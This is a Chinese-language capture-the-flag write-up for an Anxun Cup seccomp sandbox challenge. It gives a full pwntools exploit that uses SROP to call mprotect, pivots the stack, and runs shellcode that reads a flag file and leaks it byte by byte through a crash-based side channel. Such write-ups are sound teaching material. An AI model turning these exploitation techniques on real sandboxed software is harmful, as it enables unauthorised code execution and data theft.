在这次的安洵杯比赛中,碰到了一个沙箱题
链接:https://pan.baidu.com/s/15H6PnPU3f0QXMTeSwIgJaA 提取码:chen
查看保护
我们seccomp-tools看一下
看清楚了上面显示的是白名单
我们先查看ida
代码原理很简单,第一个syscall是将easyhack打印出来
第二个syscall是可以向0x404060中输入最多0x1000个字符
第三个syscall还是打印
第四个syscall是向栈里面输入最多0x3a个字符(0x40119e就是沙箱)
该程序禁用了execve系统调用后,同时关闭了标准输出流,这意味着我们不能很轻易地打orw,这个时候我们就可以考虑使用测信道爆破了,侧信道爆破这个词听着很神奇,其实呢原理很简单,就是就是利用read和open将flag读到我们指定的内存中去,然后我们拿出一个字典去将flag进行逐个字位比较,这个时候我们需要自己视情况来设定程序错误崩溃情况,来判断该字典里的字符是否与写进内存里的flag中所对应的字符相等,这就是所谓的侧信道爆破。
当然光会这个来解题还是差很多,我们现在主要目的是怎么样将flag写到指定的内存中去,我们可以写一个shellcode,将flag写到内存中,这个也能解决
flag_addr=0x404300 shellcode =""" mov rdi,0 mov rsi,0x404400 mov rdx,0x50 mov rax,0 syscall read 字典中的字符所输入的地方 push 0x67616c66 flag push rsp pop rdi mov rsi,0 mov rax,2 syscall open 打开 mov rdi,rax mov rsi,0x404300 mov rdx,0x50 mov rax,0 syscall mov bl, byte ptr [rsi+{}] cmp bl, {} jz $-84 如果相等则进行下一步,如果不相等则返回 mov rdi,0 ret 利用循环来判断 """
(由于我的ubuntu22.04怎么都不能一步步调试,只能直接贴了)
但是现在问题又来了,咱进行侧信道爆破得把flag文件打开,并写到内存中去,但是在内存中执行这个flag文件肯定需要
执行权限,我们wmmap看一下
没有符合我们可利用的地方,可是我们这个mprotect函数是可以用的,作用是更改目标区域的执行权限,但是哈我们无法直接控制寄存器来设置我们想要使用的mprotext函数所需要的参数,为啥?因为程序里面并没有(pop rdi,pop rsi等控制寄存器的指令),但是我们可以利用srop的手法来控制
frame=SigreturnFrame() frame.rax=10 frame.rdi=0x404000 frame.rsi=0x1000 frame.rdx=7 frame.rip=syscall frame.rsp=0x404160
执行后控制寄存器的效果如下
通过这样我们就可以改变目标位置的执行权限了
最后我们合理调整栈帧,利用栈迁移就行了
exp:
from pwn import *context(arch='amd64' ,os='linux' ,log_level='debug' ) context.endian='little' dic= "{}-fabcdefghijlmnopqrstuvwxyz01234567898" list = [ord (x) for x in dic]suceess_flag=[] def pwn (cnt,i ): p=process("./chal1" ) print (i) if i==0 : debug(p,0x404178 ) syscall=0x000000000040118a gdb.attach(p) frame=SigreturnFrame() frame.rax=10 frame.rdi=0x404000 frame.rsi=0x1000 frame.rdx=7 frame.rip=syscall frame.rsp=0x404160 flag_addr=0x404300 shellcode =""" mov rdi,0 mov rsi,0x404400 mov rdx,0x50 mov rax,0 syscall push 0x67616c66 push rsp pop rdi mov rsi,0 mov rax,2 syscall mov rdi,rax mov rsi,0x404300 mov rdx,0x50 mov rax,0 syscall mov bl, byte ptr [rsi+{}] cmp bl, {} jz $-84 ret """ sys_rt_sigreturn=0x401193 payload=p64(0x401193 )+p64(syscall)+bytes (frame)+p64(0x40419e )+b"a" *16 +asm(shellcode.format (cnt,list [i])) p.sendafter("easyhack\n" ,payload) leave_ret=0x401446 bss=0x404060 payload=b'a' *0x2a +p64(bss-8 )+p64(leave_ret) p.sendafter("Do u know what is SUID?\n" ,payload) try : sleep(0.3 ) p.send('aaaa' ) print ('success===>' ,chr (list [i])) suceess_flag.append(chr (list [i])) return 1 except : return 0 cnt=0 while 1 : for i in range (len (dic)): panduan=pwn(cnt,i) if panduan==1 : break cnt=cnt+1 print (suceess_flag) pause()
我们查看结果